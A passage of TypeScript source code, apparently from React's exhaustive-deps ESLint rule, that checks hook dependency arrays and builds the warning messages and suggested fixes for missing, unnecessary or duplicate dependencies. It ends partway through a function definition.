const {suggestedDependencies} = collectRecommendations({\n            dependencies,\n            declaredDependencies: [],\n            stableDependencies,\n            externalDependencies: new Set<string>(),\n            isEffect: true,\n          });\n          reportProblem({\n            node: reactiveHook,\n            message:\n              `React Hook ${reactiveHookName} contains a call to '${setStateInsideEffectWithoutDeps}'. ` +\n              `Without a list of dependencies, this can lead to an infinite chain of updates. ` +\n              `To fix this, pass [` +\n              suggestedDependencies.join(', ') +\n              `] as a second argument to the ${reactiveHookName} Hook.`,\n            suggest: [\n              {\n                desc: `Add dependencies array: [${suggestedDependencies.join(\n                  ', ',\n                )}]`,\n                fix(fixer) {\n                  return fixer.insertTextAfter(\n                    node,\n                    `, [${suggestedDependencies.join(', ')}]`,\n                  );\n                },\n              },\n            ],\n          });\n        }\n        return;\n      }\n      if (\n        isAutoDepsHook &&\n        declaredDependenciesNode.type === 'Literal' &&\n        declaredDependenciesNode.value === null\n      ) {\n        return;\n      }\n\n      const declaredDependencies: Array<DeclaredDependency> = [];\n      const externalDependencies = new Set<string>();\n      const isArrayExpression =\n        declaredDependenciesNode.type === 'ArrayExpression';\n      const isTSAsArrayExpression =\n        declaredDependenciesNode.type === 'TSAsExpression' &&\n        declaredDependenciesNode.expression.type === 'ArrayExpression';\n\n      if (!isArrayExpression && !isTSAsArrayExpression) {\n        // If the declared dependencies are not an array expression then we\n        // can't verify that the user provided the correct dependencies. Tell\n        // the user this in an error.\n        reportProblem({\n          node: declaredDependenciesNode,\n          message:\n            `React Hook ${getSourceCode().getText(reactiveHook)} was passed a ` +\n            'dependency list that is not an array literal. This means we ' +\n            \"can't statically verify whether you've passed the correct \" +\n            'dependencies.',\n        });\n      } else {\n        const arrayExpression = isTSAsArrayExpression\n          ? declaredDependenciesNode.expression\n          : declaredDependenciesNode;\n\n        (arrayExpression as ArrayExpression).elements.forEach(\n          declaredDependencyNode => {\n            // Skip elided elements.\n            if (declaredDependencyNode === null) {\n              return;\n            }\n            // If we see a spread element then add a special warning.\n            if (declaredDependencyNode.type === 'SpreadElement') {\n              reportProblem({\n                node: declaredDependencyNode,\n                message:\n                  `React Hook ${getSourceCode().getText(reactiveHook)} has a spread ` +\n                  \"element in its dependency array. This means we can't \" +\n                  \"statically verify whether you've passed the \" +\n                  'correct dependencies.',\n              });\n              return;\n            }\n            if (useEffectEventVariables.has(declaredDependencyNode)) {\n              reportProblem({\n                node: declaredDependencyNode,\n                message:\n                  'Functions returned from `useEffectEvent` must not be included in the dependency array. ' +\n                  `Remove \\`${getSourceCode().getText(\n                    declaredDependencyNode,\n                  )}\\` from the list.`,\n                suggest: [\n                  {\n                    desc: `Remove the dependency \\`${getSourceCode().getText(\n                      declaredDependencyNode,\n                    )}\\``,\n                    fix(fixer) {\n                      return fixer.removeRange(declaredDependencyNode.range!);\n                    },\n                  },\n                ],\n              });\n            }\n            // Try to normalize the declared dependency. If we can't then an error\n            // will be thrown. We will catch that error and report an error.\n            let declaredDependency;\n            try {\n              declaredDependency = analyzePropertyChain(\n                declaredDependencyNode,\n                null,\n              );\n            } catch (error: unknown) {\n              if (\n                error instanceof Error &&\n                /Unsupported node type/.test(error.message)\n              ) {\n                if (declaredDependencyNode.type === 'Literal') {\n                  if (\n                    declaredDependencyNode.value &&\n                    dependencies.has(declaredDependencyNode.value as string)\n                  ) {\n                    reportProblem({\n                      node: declaredDependencyNode,\n                      message:\n                        `The ${declaredDependencyNode.raw} literal is not a valid dependency ` +\n                        `because it never changes. ` +\n                        `Did you mean to include ${declaredDependencyNode.value} in the array instead?`,\n                    });\n                  } else {\n                    reportProblem({\n                      node: declaredDependencyNode,\n                      message:\n                        `The ${declaredDependencyNode.raw} literal is not a valid dependency ` +\n                        'because it never changes. You can safely remove it.',\n                    });\n                  }\n                } else {\n                  reportProblem({\n                    node: declaredDependencyNode,\n                    message:\n                      `React Hook ${getSourceCode().getText(reactiveHook)} has a ` +\n                      `complex expression in the dependency array. ` +\n                      'Extract it to a separate variable so it can be statically checked.',\n                  });\n                }\n\n                return;\n              } else {\n                throw error;\n              }\n            }\n\n            let maybeID = declaredDependencyNode;\n            while (\n              maybeID.type === 'MemberExpression' ||\n              maybeID.type === 'OptionalMemberExpression' ||\n              maybeID.type === 'ChainExpression'\n            ) {\n              // @ts-expect-error This can be done better\n              maybeID = maybeID.object || maybeID.expression.object;\n            }\n            const isDeclaredInComponent = !componentScope.through.some(\n              ref => ref.identifier === maybeID,\n            );\n\n            // Add the dependency to our declared dependency map.\n            declaredDependencies.push({\n              key: declaredDependency,\n              node: declaredDependencyNode,\n            });\n\n            if (!isDeclaredInComponent) {\n              externalDependencies.add(declaredDependency);\n            }\n          },\n        );\n      }\n\n      const {\n        suggestedDependencies,\n        unnecessaryDependencies,\n        missingDependencies,\n        duplicateDependencies,\n      } = collectRecommendations({\n        dependencies,\n        declaredDependencies,\n        stableDependencies,\n        externalDependencies,\n        isEffect,\n      });\n\n      let suggestedDeps = suggestedDependencies;\n\n      const problemCount =\n        duplicateDependencies.size +\n        missingDependencies.size +\n        unnecessaryDependencies.size;\n\n      if (problemCount === 0) {\n        // If nothing else to report, check if some dependencies would\n        // invalidate on every render.\n        const constructions = scanForConstructions({\n          declaredDependencies,\n          declaredDependenciesNode,\n          componentScope,\n          scope,\n        });\n        constructions.forEach(\n          ({construction, isUsedOutsideOfHook, depType}) => {\n            const wrapperHook =\n              depType === 'function' ? 'useCallback' : 'useMemo';\n\n            const constructionType =\n              depType === 'function' ? 'definition' : 'initialization';\n\n            const defaultAdvice = `wrap the ${constructionType} of '${construction.name.name}' in its own ${wrapperHook}() Hook.`;\n\n            const advice = isUsedOutsideOfHook\n              ? `To fix this, ${defaultAdvice}`\n              : `Move it inside the ${reactiveHookName} callback. Alternatively, ${defaultAdvice}`;\n\n            const causation =\n              depType === 'conditional' || depType === 'logical expression'\n                ? 'could make'\n                : 'makes';\n\n            const message =\n              `The '${construction.name.name}' ${depType} ${causation} the dependencies of ` +\n              `${reactiveHookName} Hook (at line ${declaredDependenciesNode.loc?.start.line}) ` +\n              `change on every render. ${advice}`;\n\n            let suggest: Rule.ReportDescriptor['suggest'];\n            // Only handle the simple case of variable assignments.\n            // Wrapping function declarations can mess up hoisting.\n            if (\n              isUsedOutsideOfHook &&\n              construction.type === 'Variable' &&\n              // Objects may be mutated after construction, which would make this\n              // fix unsafe. Functions _probably_ won't be mutated, so we'll\n              // allow this fix for them.\n              depType === 'function'\n            ) {\n              suggest = [\n                {\n                  desc: `Wrap the ${constructionType} of '${construction.name.name}' in its own ${wrapperHook}() Hook.`,\n                  fix(fixer) {\n                    const [before, after] =\n                      wrapperHook === 'useMemo'\n                        ? [`useMemo(() => { return `, '; })']\n                        : ['useCallback(', ')'];\n                    return [\n                      // TODO: also add an import?\n                      fixer.insertTextBefore(construction.node.init!, before),\n                      // TODO: ideally we'd gather deps here but it would require\n                      // restructuring the rule code. This will cause a new lint\n                      // error to appear immediately for useCallback. Note we're\n                      // not adding [] because would that changes semantics.\n                      fixer.insertTextAfter(construction.node.init!, after),\n                    ];\n                  },\n                },\n              ];\n            }\n            // TODO: What if the function needs to change on every render anyway?\n            // Should we suggest removing effect deps as an appropriate fix too?\n            reportProblem({\n              // TODO: Why not report this at the dependency site?\n              node: construction.node,\n              message,\n              suggest,\n            });\n          },\n        );\n        return;\n      }\n\n      // If we're going to report a missing dependency,\n      // we might as well recalculate the list ignoring\n      // the currently specified deps. This can result\n      // in some extra deduplication. We can't do this\n      // for effects though because those have legit\n      // use cases for over-specifying deps.\n      if (!isEffect && missingDependencies.size > 0) {\n        suggestedDeps = collectRecommendations({\n          dependencies,\n          declaredDependencies: [], // Pretend we don't know\n          stableDependencies,\n          externalDependencies,\n          isEffect,\n        }).suggestedDependencies;\n      }\n\n      // Alphabetize the suggestions, but only if deps were already alphabetized.\n      function areDeclaredDepsAlphabetized(): boolean {\n        if (declaredDependencies.length === 0) {\n          return true;\n        }\n        const declaredDepKeys = declaredDependencies.map(dep => dep.key);\n        const sortedDeclaredDepKeys = declaredDepKeys.slice().sort();\n        return declaredDepKeys.join(',') === sortedDeclaredDepKeys.join(',');\n      }\n      if (areDeclaredDepsAlphabetized()) {\n        suggestedDeps.sort();\n      }\n\n      // Most of our algorithm deals with dependency paths with optional chaining stripped.\n      // This function is the last step before printing a dependency, so now is a good time to\n      // check whether any members in our path are always used as optional-only. In that case,\n      // we will use ?. instead of . to concatenate those parts of the path.\n      function formatDependency(path: string): string {\n        const members = path.split('.');\n        let finalPath = '';\n        for (let i = 0; i < members.length; i++) {\n          if (i !== 0) {\n            const pathSoFar = members.slice(0, i + 1).join('.');\n            const isOptional = optionalChains.get(pathSoFar) === true;\n            finalPath += isOptional ? '?.' : '.';\n          }\n          finalPath += members[i];\n        }\n        return finalPath;\n      }\n\n      function getWarningMessage(\n        deps: Set<string>,\n        singlePrefix: string,\n        label: string,\n        fixVerb: string,\n      ): string | null {\n        if (deps.size === 0) {\n          return null;\n        }\n        return (\n          (deps.size > 1 ? '' : singlePrefix + ' ') +\n          label +\n          ' ' +\n          (deps.size > 1 ? 'dependencies' : 'dependency') +\n          ': ' +\n          joinEnglish(\n            Array.from(deps)\n              .sort()\n              .map(name => \"'\" + formatDependency(name) + \"'\"),\n          ) +\n          `. Either ${fixVerb} ${\n            deps.size > 1 ? 'them' : 'it'\n          } or remove the dependency array.`\n        );\n      }\n\n      let extraWarning = '';\n      if (unnecessaryDependencies.size > 0) {\n        let badRef: string | null = null;\n        Array.from(unnecessaryDependencies.keys()).forEach(key => {\n          if (badRef !== null) {\n            return;\n          }\n          if (key.endsWith('.current')) {\n            badRef = key;\n          }\n        });\n        if (badRef !== null) {\n          extraWarning =\n            ` Mutable values like '${badRef}' aren't valid dependencies ` +\n            \"because mutating them doesn't re-render the component.\";\n        } else if (externalDependencies.size > 0) {\n          const dep = Array.from(externalDependencies)[0]!;\n          // Don't show this warning for things that likely just got moved *inside* the callback\n          // because in that case they're clearly not referring to globals.\n          if (!scope.set.has(dep)) {\n            extraWarning =\n              ` Outer scope values like '${dep}' aren't valid dependencies ` +\n              `because mutating them doesn't re-render the component.`;\n          }\n        }\n      }\n\n      // `props.foo()` marks `props` as a dependency because it has\n      // a `this` value. This warning can be confusing.\n      // So if we're going to show it, append a clarification.\n      if (!extraWarning && missingDependencies.has('props')) {\n        const propDep = dependencies.get('props');\n        if (propDep == null) {\n          return;\n        }\n        const refs = propDep.references;\n        if (!Array.isArray(refs)) {\n          return;\n        }\n        let isPropsOnlyUsedInMembers = true;\n        for (const ref of refs) {\n          const id = fastFindReferenceWithParent(\n            componentScope.block,\n            ref.identifier,\n          );\n          if (!id) {\n            isPropsOnlyUsedInMembers = false;\n            break;\n          }\n          const parent = id.parent;\n          if (parent == null) {\n            isPropsOnlyUsedInMembers = false;\n            break;\n          }\n          if (\n            parent.type !== 'MemberExpression' &&\n            parent.type !== 'OptionalMemberExpression'\n          ) {\n            isPropsOnlyUsedInMembers = false;\n            break;\n          }\n        }\n        if (isPropsOnlyUsedInMembers) {\n          extraWarning =\n            ` However, 'props' will change when *any* prop changes, so the ` +\n            `preferred fix is to destructure the 'props' object outside of ` +\n            `the ${reactiveHookName} call and refer to those specific props ` +\n            `inside ${getSourceCode().getText(reactiveHook)}.`;\n        }\n      }\n\n      if (!extraWarning && missingDependencies.size > 0) {\n        // See if the user is trying to avoid specifying a callable prop.\n        // This usually means they're unaware of useCallback.\n        let missingCallbackDep: string | null = null;\n        missingDependencies.forEach(missingDep => {\n          if (missingCallbackDep) {\n            return;\n          }\n          // Is this a variable from top scope?\n          const topScopeRef = componentScope.set.get(missingDep);\n          const usedDep = dependencies.get(missingDep);\n          if (\n            !usedDep?.references ||\n            usedDep?.references[0]?.resolved !== topScopeRef\n          ) {\n            return;\n          }\n          // Is this a destructured prop?\n          const def = topScopeRef?.defs[0];\n          if (def == null || def.name == null || def.type !== 'Parameter') {\n            return;\n          }\n          // Was it called in at least one case? Then it's a function.\n          let isFunctionCall = false;\n          let id: Identifier | undefined;\n          for (const reference of usedDep.references) {\n            id = reference.identifier;\n            if (\n              id != null &&\n              id.parent != null &&\n              (id.parent.type === 'CallExpression' ||\n                id.parent.type === 'OptionalCallExpression') &&\n              id.parent.callee === id\n            ) {\n              isFunctionCall = true;\n              break;\n            }\n          }\n          if (!isFunctionCall) {\n            return;\n          }\n          // If it's missing (i.e. in component scope) *and* it's a parameter\n          // then it is definitely coming from props destructuring.\n          // (It could also be props itself but we wouldn't be calling it then.)\n          missingCallbackDep = missingDep;\n        });\n        if (missingCallbackDep !== null) {\n          extraWarning =\n            ` If '${missingCallbackDep}' changes too often, ` +\n            `find the parent component that defines it ` +\n            `and wrap that definition in useCallback.`;\n        }\n      }\n\n      if (!extraWarning && missingDependencies.size > 0) {\n        let setStateRecommendation: {\n          missingDep: string;\n          setter: string;\n          form: 'reducer' | 'updater' | 'inlineReducer';\n        } | null = null;\n        for (const missingDep of missingDependencies) {\n          if (setStateRecommendation !== null) {\n            break;\n          }\n          const usedDep = dependencies.get(missingDep)!;\n          const references = usedDep.references;\n          let id;\n          let maybeCall;\n          for (const reference of references) {\n            id = reference.identifier;\n            maybeCall = id.parent;\n            // Try to see if we have setState(someExpr(missingDep)).\n            while (maybeCall != null && maybeCall !== componentScope.block) {\n              if (maybeCall.type === 'CallExpression') {\n                const correspondingStateVariable = setStateCallSites.get(\n                  maybeCall.callee,\n                );\n                if (correspondingStateVariable != null) {\n                  if (\n                    'name' in correspondingStateVariable &&\n                    correspondingStateVariable.name === missingDep\n                  ) {\n                    // setCount(count + 1)\n                    setStateRecommendation = {\n                      missingDep,\n                      setter:\n                        'name' in maybeCall.callee ? maybeCall.callee.name : '',\n                      form: 'updater',\n                    };\n                  } else if (stateVariables.has(id)) {\n                    // setCount(count + increment)\n                    setStateRecommendation = {\n                      missingDep,\n                      setter:\n                        'name' in maybeCall.callee ? maybeCall.callee.name : '',\n                      form: 'reducer',\n                    };\n                  } else {\n                    const resolved = reference.resolved;\n                    if (resolved != null) {\n                      // If it's a parameter *and* a missing dep,\n                      // it must be a prop or something inside a prop.\n                      // Therefore, recommend an inline reducer.\n                      const def = resolved.defs[0];\n                      if (def != null && def.type === 'Parameter') {\n                        setStateRecommendation = {\n                          missingDep,\n                          setter:\n                            'name' in maybeCall.callee\n                              ? maybeCall.callee.name\n                              : '',\n                          form: 'inlineReducer',\n                        };\n                      }\n                    }\n                  }\n                  break;\n                }\n              }\n              maybeCall = maybeCall.parent;\n            }\n            if (setStateRecommendation !== null) {\n              break;\n            }\n          }\n        }\n        if (setStateRecommendation !== null) {\n          switch (setStateRecommendation.form) {\n            case 'reducer':\n              extraWarning =\n                ` You can also replace multiple useState variables with useReducer ` +\n                `if '${setStateRecommendation.setter}' needs the ` +\n                `current value of '${setStateRecommendation.missingDep}'.`;\n              break;\n            case 'inlineReducer':\n              extraWarning =\n                ` If '${setStateRecommendation.setter}' needs the ` +\n                `current value of '${setStateRecommendation.missingDep}', ` +\n                `you can also switch to useReducer instead of useState and ` +\n                `read '${setStateRecommendation.missingDep}' in the reducer.`;\n              break;\n            case 'updater':\n              extraWarning =\n                ` You can also do a functional update '${\n                  setStateRecommendation.setter\n                }(${setStateRecommendation.missingDep.slice(\n                  0,\n                  1,\n                )} => ...)' if you only need '${\n                  setStateRecommendation.missingDep\n                }'` + ` in the '${setStateRecommendation.setter}' call.`;\n              break;\n            default:\n              throw new Error('Unknown case.');\n          }\n        }\n      }\n\n      reportProblem({\n        node: declaredDependenciesNode,\n        message:\n          `React Hook ${getSourceCode().getText(reactiveHook)} has ` +\n          // To avoid a long message, show the next actionable item.\n          (getWarningMessage(missingDependencies, 'a', 'missing', 'include') ||\n            getWarningMessage(\n              unnecessaryDependencies,\n              'an',\n              'unnecessary',\n              'exclude',\n            ) ||\n            getWarningMessage(\n              duplicateDependencies,\n              'a',\n              'duplicate',\n              'omit',\n            )) +\n          extraWarning,\n        suggest: [\n          {\n            desc: `Update the dependencies array to be: [${suggestedDeps\n              .map(formatDependency)\n              .join(', ')}]`,\n            fix(fixer) {\n              // TODO: consider preserving the comments or formatting?\n              return fixer.replaceText(\n                declaredDependenciesNode,\n                `[${suggestedDeps.map(formatDependency).join(', ')}]`,\n              );\n            },\n          },\n        ],\n      });\n    }\n\n    function visitCallExpression(node: CallExpression): void {\n      const callbackIndex = getReactiveHookCallbackIndex(node.callee, options);\n      if (callbackIndex === -1) {\n        // Not a React Hook call that needs deps.\n        return;\n      }\n      let callback = node.arguments[callbackIndex];\n      const reactiveHook = node.callee;\n      const nodeWithoutNamespace = getNodeWithoutReactNamespace(reactiveHook);\n      const reactiveHookName =\n        'name' in nodeWithoutNamespace ? nodeWithoutNamespace.name : '';\n      const maybeNode = node.arguments[callbackIndex + 1];\n      const declaredDependenciesNode =\n        maybeNode &&\n        !(maybeNode.type === 'Identifier' && maybeNode.name === 'undefined')\n          ? maybeNode\n          : undefined;\n      const isEffect = /Effect($|[^a-z])/g.test(reactiveHookName);\n\n      // Check whether a callback is supplied. If there is no callback supplied\n      // then the hook will not work and React will throw a TypeError.\n      // So no need to check for dependency inclusion.\n      if (!callback) {\n        reportProblem({\n          node: reactiveHook,\n          message:\n            `React Hook ${reactiveHookName} requires an effect callback. ` +\n            `Did you forget to pass a callback to the hook?`,\n        });\n        return;\n      }\n\n      if (!maybeNode && isEffect && options.requireExplicitEffectDeps) {\n        reportProblem({\n          node: reactiveHook,\n          message:\n            `React Hook ${reactiveHookName} always requires dependencies. ` +\n            `Please add a dependency array or an explicit \\`undefined\\``,\n        });\n      }\n\n      const isAutoDepsHook =\n        options.experimental_autoDependenciesHooks.includes(reactiveHookName);\n\n      // Check the declared dependencies for this reactive hook. If there is no\n      // second argument then the reactive callback will re-run on every render.\n      // So no need to check for dependency inclusion.\n      if (\n        (!declaredDependenciesNode ||\n          (isAutoDepsHook &&\n            declaredDependenciesNode.type === 'Literal' &&\n            declaredDependenciesNode.value === null)) &&\n        !isEffect\n      ) {\n        // These are only used for optimization.\n        if (\n          reactiveHookName === 'useMemo' ||\n          reactiveHookName === 'useCallback'\n        ) {\n          // TODO: Can this have a suggestion?\n          reportProblem({\n            node: reactiveHook,\n            message:\n              `React Hook ${reactiveHookName} does nothing when called with ` +\n              `only one argument. Did you forget to pass an array of ` +\n              `dependencies?`,\n          });\n        }\n        return;\n      }\n\n      while (\n        callback.type === 'TSAsExpression' ||\n        callback.type === 'AsExpression'\n      ) {\n        callback = callback.expression;\n      }\n\n      switch (callback.type) {\n        case 'FunctionExpression':\n        case 'ArrowFunctionExpression':\n          visitFunctionWithDependencies(\n            callback,\n            declaredDependenciesNode,\n            reactiveHook,\n            reactiveHookName,\n            isEffect,\n            isAutoDepsHook,\n          );\n          return; // Handled\n        case 'Identifier':\n          if (\n            !declaredDependenciesNode ||\n            (isAutoDepsHook &&\n              declaredDependenciesNode.type === 'Literal' &&\n              declaredDependenciesNode.value === null)\n          ) {\n            // Always runs, no problems.\n            return; // Handled\n          }\n          // The function passed as a callback is not written inline.\n          // But perhaps it's in the dependencies array?\n          if (\n            'elements' in declaredDependenciesNode &&\n            declaredDependenciesNode.elements &&\n            declaredDependenciesNode.elements.some(\n              el => el && el.type === 'Identifier' && el.name === callback.name,\n            )\n          ) {\n            // If it's already in the list of deps, we don't care because\n            // this is valid regardless.\n            return; // Handled\n          }\n          // We'll do our best effort to find it, complain otherwise.\n          const variable = getScope(callback).set.get(callback.name);\n          if (variable == null || variable.defs == null) {\n            // If it's not in scope, we don't care.\n            return; // Handled\n          }\n          // The function passed as a callback is not written inline.\n          // But it's defined somewhere in the render scope.\n          // We'll do our best effort to find and check it, complain otherwise.\n          const def = variable.defs[0];\n          if (!def || !def.node) {\n            break; // Unhandled\n          }\n          if (def.type === 'Parameter') {\n            reportProblem({\n              node: reactiveHook,\n              message: getUnknownDependenciesMessage(reactiveHookName),\n            });\n            return;\n          }\n          if (def.type !== 'Variable' && def.type !== 'FunctionName') {\n            // Parameter or an unusual pattern. Bail out.\n            break; // Unhandled\n          }\n          switch (def.node.type) {\n            case 'FunctionDeclaration':\n              // useEffect(() => { ... }, []);\n              visitFunctionWithDependencies(\n                def.node,\n                declaredDependenciesNode,\n                reactiveHook,\n                reactiveHookName,\n                isEffect,\n                isAutoDepsHook,\n              );\n              return; // Handled\n            case 'VariableDeclarator':\n              const init = def.node.init;\n              if (!init) {\n                break; // Unhandled\n              }\n              switch (init.type) {\n                // const effectBody = () => {...};\n                // useEffect(effectBody, []);\n                case 'ArrowFunctionExpression':\n                case 'FunctionExpression':\n                  // We can inspect this function as if it were inline.\n                  visitFunctionWithDependencies(\n                    init,\n                    declaredDependenciesNode,\n                    reactiveHook,\n                    reactiveHookName,\n                    isEffect,\n                    isAutoDepsHook,\n                  );\n                  return; // Handled\n              }\n              break; // Unhandled\n          }\n          break; // Unhandled\n        default:\n          // useEffect(generateEffectBody(), []);\n          reportProblem({\n            node: reactiveHook,\n            message: getUnknownDependenciesMessage(reactiveHookName),\n          });\n          return; // Handled\n      }\n\n      // Something unusual. Fall back to suggesting to add the body itself as a dep.\n      reportProblem({\n        node: reactiveHook,\n        message:\n          `React Hook ${reactiveHookName} has a missing dependency: '${callback.name}'. ` +\n          `Either include it or remove the dependency array.`,\n        suggest: [\n          {\n            desc: `Update the dependencies array to be: [${callback.name}]`,\n            fix(fixer) {\n              return fixer.replaceText(\n                declaredDependenciesNode,\n                `[${callback.name}]`,\n              );\n            },\n          },\n        ],\n      });\n    }\n\n    return {\n      CallExpression: visitCallExpression,\n    };\n  },\n} satisfies Rule.RuleModule;\n\n// The meat of the logic.\nfunction collectRecommendations({\n  dependencies,\n  declaredDependencies,\n  stableDependencies,\n  externalDependencies,\n  isEffect,\n}: {\n  dependencies: Map<string, Dependency>;\n  declaredDependencies: Array<DeclaredDependency>;\n  stableDependencies: Set<string>;\n  externalDependencies: Set<string>;\n  isEffect: boolean;\n}) {\n  // Our primary data structure.\n  // It is a logical representation of property chains:\n  // `props` -> `props.foo` -> `props.foo.bar` -> `props.foo.bar.baz`\n  //         -> `props.lol`\n  //         -> `props.huh` -> `props.huh.okay`\n  //         -> `props.wow`\n  // We'll use it to mark nodes that are *used* by the programmer,\n  // and the nodes that were *declared* as deps. Then we will\n  // traverse it to learn which deps are missing or unnecessary.\n  const depTree = createDepTree();\n  function createDepTree(): DependencyTreeNode {\n    return {\n      isUsed: false, // True if used in code\n      isSatisfiedRecursively: false, // True if specified in deps\n      isSubtreeUsed: false, // True if something deeper is used by code\n      children: new Map(), // Nodes for properties\n    };\n  }\n\n  // Mark all required nodes first.\n  // Imagine exclamation marks next to each used deep property.\n  dependencies.forEach((_, key) => {\n    const node = getOrCreateNodeByPath(depTree, key);\n    node.isUsed = true;\n    markAllParentsByPath(depTree, key, parent => {\n      parent.isSubtreeUsed = true;\n    });\n  });\n\n  // Mark all satisfied nodes.\n  // Imagine checkmarks next to each declared dependency.\n  declaredDependencies.forEach(({key}) => {\n    const node = getOrCreateNodeByPath(depTree, key);\n    node.isSatisfiedRecursively = true;\n  });\n  stableDependencies.forEach(key => {\n    const node = getOrCreateNodeByPath(depTree, key);\n    node.isSatisfiedRecursively = true;\n  });\n\n  // Tree manipulation helpers.\n  function getOrCreateNodeByPath(\n    rootNode: DependencyTreeNode,\n    path: string,\n  ): DependencyTreeNode {\n    const keys = path.split('.');\n    let node = rootNode;\n    for (const key of keys) {\n      let child = node.children.get(key);\n      if (!child) {\n        child = createDepTree();\n        node.children.set(key, child);\n      }\n      node = child;\n    }\n    return node;\n  }\n  function markAllParentsByPath(\n    rootNode: DependencyTreeNode,\n    path: string,\n    fn: (node: DependencyTreeNode) => void,\n  ): void {\n    const keys = path.split('.');\n    let node = rootNode;\n    for (const key of keys) {\n      const child = node.children.get(key);\n      if (!child) {\n        return;\n      }\n      fn(child);\n      node = child;\n    }\n  }\n\n  // Now we can learn which dependencies are missing or necessary.\n  const missingDependencies = new Set<string>();\n  const satisfyingDependencies = new Set<string>();\n  scanTreeRecursively(\n    depTree,\n    missingDependencies,\n    satisfyingDependencies,\n    key => key,\n  );\n  function scanTreeRecursively(\n    node: DependencyTreeNode,\n    missingPaths: Set<string>,\n    satisfyingPaths: Set<string>,\n    keyToPath: (key: string) => string,\n  ): void {\n    node.children.forEach((child, key) => {\n      const path = keyToPath(key);\n      if (child.isSatisfiedRecursively) {\n        if (child.isSubtreeUsed) {\n          // Remember this dep actually satisfied something.\n          satisfyingPaths.add(path);\n        }\n        // It doesn't matter if there's something deeper.\n        // It would be transitively satisfied since we assume immutability.\n        // `props.foo` is enough if you read `props.foo.id`.\n        return;\n      }\n      if (child.isUsed) {\n        // Remember that no declared deps satisfied this node.\n        missingPaths.add(path);\n        // If we got here, nothing in its subtree was satisfied.\n        // No need to search further.\n        return;\n      }\n      scanTreeRecursively(\n        child,\n        missingPaths,\n        satisfyingPaths,\n        childKey => path + '.' + childKey,\n      );\n    });\n  }\n\n  // Collect suggestions in the order they were originally specified.\n  const suggestedDependencies: Array<string> = [];\n  const unnecessaryDependencies = new Set<string>();\n  const duplicateDependencies = new Set<string>();\n  declaredDependencies.forEach(({key}) => {\n    // Does this declared dep satisfy a real need?\n    if (satisfyingDependencies.has(key)) {\n      if (suggestedDependencies.indexOf(key) === -1) {\n        // Good one.\n        suggestedDependencies.push(key);\n      } else {\n        // Duplicate.\n        duplicateDependencies.add(key);\n      }\n    } else {\n      if (\n        isEffect &&\n        !key.endsWith('.current') &&\n        !externalDependencies.has(key)\n      ) {\n        // Effects are allowed extra \"unnecessary\" deps.\n        // Such as resetting scroll when ID changes.\n        // Consider them legit.\n        // The exception is ref.current which is always wrong.\n        if (suggestedDependencies.indexOf(key) === -1) {\n          suggestedDependencies.push(key);\n        }\n      } else {\n        // It's definitely not needed.\n        unnecessaryDependencies.add(key);\n      }\n    }\n  });\n\n  // Then add the missing ones at the end.\n  missingDependencies.forEach(key => {\n    suggestedDependencies.push(key);\n  });\n\n  return {\n    suggestedDependencies,\n    unnecessaryDependencies,\n    duplicateDependencies,\n    missingDependencies,\n  };\n}\n\n// If the node will result in constructing a referentially unique value, return\n// its human readable type name, else return null.\nfunction getConstructionExpressionType(node: Node): string | null {\n  switch (node.type) {\n    case 'ObjectExpression':\n      return 'object';\n    case 'ArrayExpression':\n      return 'array';\n    case 'ArrowFunctionExpression':\n    case 'FunctionExpression':\n      return 'function';\n    case 'ClassExpression':\n      return 'class';\n    case 'ConditionalExpression':\n      if (\n        getConstructionExpressionType(node.consequent) != null ||\n        getConstructionExpressionType(node.alternate) != null\n      ) {\n        return 'conditional';\n      }\n      return null;\n    case 'LogicalExpression':\n      if (\n        getConstructionExpressionType(node.left) != null ||\n        getConstructionExpressionType(node.right) != null\n      ) {\n        return 'logical expression';\n      }\n      return null;\n    case 'JSXFragment':\n      return 'JSX fragment';\n    case 'JSXElement':\n      return 'JSX element';\n    case 'AssignmentExpression':\n      if (getConstructionExpressionType(node.right) != null) {\n        return 'assignment expression';\n      }\n      return null;\n    case 'NewExpression':\n      return 'object construction';\n    case 'Literal':\n      if (node.value instanceof RegExp) {\n        return 'regular expression';\n      }\n      return null;\n    case 'TypeCastExpression':\n    case 'AsExpression':\n    case 'TSAsExpression':\n      return getConstructionExpressionType(node.expression);\n  }\n  return null;\n}\n\n// Finds variables declared as dependencies\n// that would invalidate on every render.\nfunction scanForConstructions({\n  declaredDependencies,\n  declaredDependenciesNode,\n  componentScope,\n  scope,\n}: {\n  declaredDependencies: Array<DeclaredDependency>;\n  declaredDependenciesNode: Node;\n  componentScope: Scope.Scope;\n  scope: Scope.Scope;\n}) {\n  const constructions = declaredDependencies\n    .map(({key}) => {\n      const ref = componentScope.variables.find(v => v.name === key);\n      if (ref == null) {\n        return null;\n      }\n\n      const node = ref.defs[0];\n      if (node == null) {\n        return null;\n      }\n      // const handleChange = function () {}\n      // const handleChange = () => {}\n      // const foo = {}\n      // const foo = []\n      // etc.\n      if (\n        node.type === 'Variable' &&\n        node.node.type === 'VariableDeclarator' &&\n        node.node.id.type === 'Identifier' && // Ensure this is not destructed assignment\n        node.node.init != null\n      ) {\n        const constantExpressionType = getConstructionExpressionType(\n          node.node.init,\n        );\n        if (constantExpressionType) {\n          return [ref, constantExpressionType];\n        }\n      }\n      // function handleChange() {}\n      if (\n        node.type === 'FunctionName' &&\n        node.node.type === 'FunctionDeclaration'\n      ) {\n        return [ref, 'function'];\n      }\n\n      // class Foo {}\n      if (node.type === 'ClassName' && node.node.type === 'ClassDeclaration') {\n        return [ref, 'class'];\n      }\n      return null;\n    })\n    .filter(Boolean) as Array<[Scope.Variable, string]>;\n\n  function isUsedOutsideOfHook(ref: Scope.Variable): boolean {\n    let foundWriteExpr = false;\n    for (const reference of ref.references) {\n      if (reference.writeExpr) {\n        if (foundWriteExpr) {\n          // Two writes to the same function.\n          return true;\n        } else {\n          // Ignore first write as it's not usage.\n          foundWriteExpr = true;\n          continue;\n        }\n      }\n      let currentScope: Scope.Scope | null = reference.from;\n      while (currentScope !== scope && currentScope != null) {\n        currentScope = currentScope.upper;\n      }\n      if (currentScope !== scope) {\n        // This reference is outside the Hook callback.\n        // It can only be legit if it's the deps array.\n        if (!isAncestorNodeOf(declaredDependenciesNode, reference.identifier)) {\n          return true;\n        }\n      }\n    }\n    return false;\n  }\n\n  return constructions.map(([ref, depType]) => ({\n    construction: ref.defs[0] as Scope.Definition,\n    depType,\n    isUsedOutsideOfHook: isUsedOutsideOfHook(ref),\n  }));\n}\n\n/**\n * Assuming () means the passed/returned node:\n * (props) => (props)\n * props.(foo) => (props.foo)\n * props.foo.(bar) => (props).foo.bar\n * props.foo.bar.(baz) => (props).foo.bar.baz\n */\nfunction 